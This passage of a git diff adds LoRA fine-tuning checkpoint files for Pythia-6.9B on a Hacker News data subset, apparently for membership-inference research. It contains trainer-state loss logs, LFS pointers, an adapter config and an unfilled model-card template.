"eval_steps_per_second": 2.836, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.6384103298187256, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7537, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.868889808654785, + "eval_runtime": 43.8586, + "eval_samples_per_second": 22.801, + "eval_steps_per_second": 2.85, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.4803755283355713, + "learning_rate": 1.837037037037037e-05, + "loss": 1.6911, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.8681321144104004, + "eval_runtime": 43.8953, + "eval_samples_per_second": 22.781, + "eval_steps_per_second": 2.848, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.2173774242401123, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6429, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.8997802734375, + "eval_runtime": 43.9304, + "eval_samples_per_second": 22.763, + "eval_steps_per_second": 2.845, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9753201007843018, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.5879, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 2.9484663009643555, + "eval_runtime": 44.0868, + "eval_samples_per_second": 22.683, + "eval_steps_per_second": 2.835, + "step": 540 + }, + { + "epoch": 7.333333333333333, + "grad_norm": 3.7597460746765137, + "learning_rate": 1.4814814814814815e-05, + "loss": 1.5518, + "step": 550 + }, + { + "epoch": 7.333333333333333, + "eval_loss": 2.9290659427642822, + "eval_runtime": 44.0216, + "eval_samples_per_second": 22.716, + "eval_steps_per_second": 2.84, + "step": 550 + }, + { + "epoch": 7.466666666666667, + "grad_norm": 4.463420391082764, + "learning_rate": 1.362962962962963e-05, + "loss": 1.6113, + "step": 560 + }, + { + "epoch": 7.466666666666667, + "eval_loss": 2.9443466663360596, + "eval_runtime": 43.9335, + "eval_samples_per_second": 22.762, + "eval_steps_per_second": 2.845, + "step": 560 + }, + { + "epoch": 7.6, + "grad_norm": 3.9244191646575928, + "learning_rate": 1.2444444444444446e-05, + "loss": 1.6018, + "step": 570 + }, + { + "epoch": 7.6, + "eval_loss": 2.939068555831909, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 570 + }, + { + "epoch": 7.733333333333333, + "grad_norm": 3.8258907794952393, + "learning_rate": 1.125925925925926e-05, + "loss": 1.5986, + "step": 580 + }, + { + "epoch": 7.733333333333333, + "eval_loss": 2.9393391609191895, + "eval_runtime": 43.8955, + "eval_samples_per_second": 22.781, + "eval_steps_per_second": 2.848, + "step": 580 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 9.50392175198208e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..9ebf9803bff867445d531a2825c22c62cba6c309 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:93083c8ba8955bbb8e9ef7faa26bce86067ff3261cdd3398d3fa8736c178cd05 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..d6e4459b1008038767d5b370218e285fb289d5c2 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:6acc956f36db23c9e97f7dc6cf8dea2c8c7e69f2552e0b55e6fd3610b3404d57 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..f2cbe02e4922a4920c0a827f09f6df580967beb0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c5704b322a17ce5b2788c1247543e3ca9edc36d083fd8ecc8ca80d04334c6030 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..e93107ab0b0cdc649d183c879754ed083006f9d7 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c640cac3d338c5c53c53ad351f9ec822b97e3962fe58e3c4439d6cecd03512ac +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..540d8e75c8884e35b58176e1a58224e0435c9dae --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/trainer_state.json @@ -0,0 +1,918 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 7.866666666666667, + "eval_steps": 10, + "global_step": 590, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0969038009643555, + "learning_rate": 3.140740740740741e-05, + "loss": 1.7738, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.799389600753784, + "eval_runtime": 44.0564, + "eval_samples_per_second": 22.698, + "eval_steps_per_second": 2.837, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 2.961643934249878, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.7961, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.7950029373168945, + "eval_runtime": 43.8519, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.851, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.098991870880127, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8045, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.794708490371704, + "eval_runtime": 43.8163, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.1050519943237305, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8189, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.790193796157837, + "eval_runtime": 43.8333, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 2.814183473587036, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.7888, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.7924447059631348, + "eval_runtime": 43.9915, + "eval_samples_per_second": 22.732, + "eval_steps_per_second": 2.841, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.243612051010132, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.6686, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.8807199001312256, + "eval_runtime": 44.1448, + "eval_samples_per_second": 22.653, + "eval_steps_per_second": 2.832, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 4.4918212890625, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.6355, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.8911144733428955, + "eval_runtime": 44.0372, + "eval_samples_per_second": 22.708, + "eval_steps_per_second": 2.839, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.3523900508880615, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.6453, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.865966320037842, + "eval_runtime": 43.9698, + "eval_samples_per_second": 22.743, + "eval_steps_per_second": 2.843, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 3.544044256210327, + "learning_rate": 2.192592592592593e-05, + "loss": 1.6883, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.878653049468994, + "eval_runtime": 44.0273, + "eval_samples_per_second": 22.713, + "eval_steps_per_second": 2.839, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 3.418917179107666, + "learning_rate": 2.074074074074074e-05, + "loss": 1.713, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.876905679702759, + "eval_runtime": 44.0776, + "eval_samples_per_second": 22.687, + "eval_steps_per_second": 2.836, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.6384103298187256, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7537, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.868889808654785, + "eval_runtime": 43.8586, + "eval_samples_per_second": 22.801, + "eval_steps_per_second": 2.85, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.4803755283355713, + "learning_rate": 